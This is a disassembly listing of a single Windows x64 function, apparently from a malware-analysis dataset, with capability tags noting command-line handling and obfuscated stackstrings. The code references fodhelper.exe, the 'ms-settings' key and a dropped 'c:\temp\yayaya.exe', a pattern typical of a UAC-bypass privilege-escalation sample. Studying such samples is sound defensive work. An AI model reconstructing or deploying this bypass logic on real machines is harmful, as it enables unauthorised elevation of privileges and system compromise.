Function at 0x1400027a4
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x570]
sub rsp, 0x670
xor ebx, ebx
mov dword [rsp + 0x30], 0x140012
lea rax, [0x14001ebf0]
mov qword [rbp + 0x598], rbx
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x30]
lea rax, [rbp + 0x598]
mov dword [rbp + 0x590], ebx
lea ecx, [rbx + 1]
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ntdll.dll_LdrGetDllHandleEx]
test eax, eax
js 0x14000281b
mov rcx, qword [rbp + 0x598]
lea r9, [rbp + 0x590]
xor r8d, r8d
mov dl, 1
call qword [sym.imp.ntdll.dll_RtlImageDirectoryEntryToData]
xor eax, eax
mov dword [rsp + 0x30], 0x5c003a
lea rdi, [rsp + 0x50]
mov dword [rsp + 0x34], 0x79006d
mov ecx, 0x208
mov dword [rsp + 0x38], 0x700061
rep stosb byte [rdi], al
xor ecx, ecx
mov dword [rsp + 0x3c], 0x2e0070
mov r8d, 0x104
mov dword [rsp + 0x40], 0x780065
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x44], 0x65
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140001bb8
test rax, rax
je 0x140002888
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlExitUserProcess]
mov rax, qword [0x1400268c8]
test rax, rax
je 0x1400028a3
mov ecx, dword [rax + 8]
test ecx, ecx
je 0x1400028a3
mov dword [rbp + 0x590], ecx
jmp 0x1400028f2
mov r9d, 4
lea rax, [rbp + 0x598]
lea r8, [rbp + 0x590]
mov qword [rsp + 0x20], rax
or rcx, 0xffffffffffffffff
lea edx, [r9 + 0x20]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jns 0x1400028d7
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlRaiseStatus]
int3
mov rcx, qword [0x1400268c8]
test rcx, rcx
je 0x1400028ec
mov eax, dword [rbp + 0x590]
mov dword [rcx + 8], eax
mov ecx, dword [rbp + 0x590]
mov eax, ecx
mov r9d, ecx
lea rcx, [0x1400022e8]
and eax, 0x3f
xor r9, rcx
mov cl, al
ror r9, cl
call fcn.14000b0e0
lea rdx, str.C:Windows_system32_fodhelper.exe
mov qword [0x1400268c8], rax
lea rcx, [rbp + 0x160]
call fcn.140001a5c
mov ecx, 0xffff1234
call qword [sym.imp.ntdll.dll_NtCompressKey]
xor eax, eax
lea rdi, [rsp + 0x50]
mov ecx, 0x20a
rep stosb byte [rdi], al
lea rdi, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
test rax, rax
jne 0x1400029a6
mov word [rsp + 0x50], bx
mov rdx, qword [0x1400268c8]
lea rcx, [rsp + 0x50]
add rdx, 0xa92
call fcn.140001a5c
lea r9, str.c:_tempyayaya.exe
mov ecx, 0x21
lea r8, [rbp + 0x160]
lea rdx, str.ms_settings
call fcn.140008130
mov rbx, qword [rsp + 0x6a0]
xor eax, eax
add rsp, 0x670
pop r14
pop rdi
pop rbp
ret
mov r14d, 0x20
mov r9d, ebx
lea r11d, [r14 + 2]
mov r8d, ebx
jmp 0x1400029bc
add rdx, 2
movzx ecx, word [rdx]
cmp cx, r14w
je 0x1400029b8
test cx, cx
je 0x140002a40
cmp cx, r11w
je 0x1400029d6
movzx r10d, r14w
jmp 0x1400029e6
add rdx, 2
mov r10d, r11d
movzx ecx, word [rdx]
cmp cx, r11w
je 0x140002a25
movzx eax, cx
movzx ecx, ax
cmp ax, r10w
je 0x140002a25
test ax, ax
je 0x140002a25
inc r8d
cmp r9d, 1
jne 0x140002a15
cmp r8d, 0x104
jae 0x140002a15
test rdi, rdi
je 0x140002a15
mov word [rdi], ax
add rdi, 2
add rdx, 2
movzx ecx, word [rdx]
movzx eax, cx
cmp cx, r11w
jne 0x1400029e9
inc r9d
lea rax, [rdx + 2]
test cx, cx
cmove rax, rdx
mov rdx, rax
cmp r9d, 1
jbe 0x1400029b3
test rdi, rdi
je 0x140002a48
mov word [rdi], bx
test r8d, r8d
je 0x140002959
mov rax, qword [0x1400268c8]
mov dword [rax + 0x18], r8d
jmp 0x140002971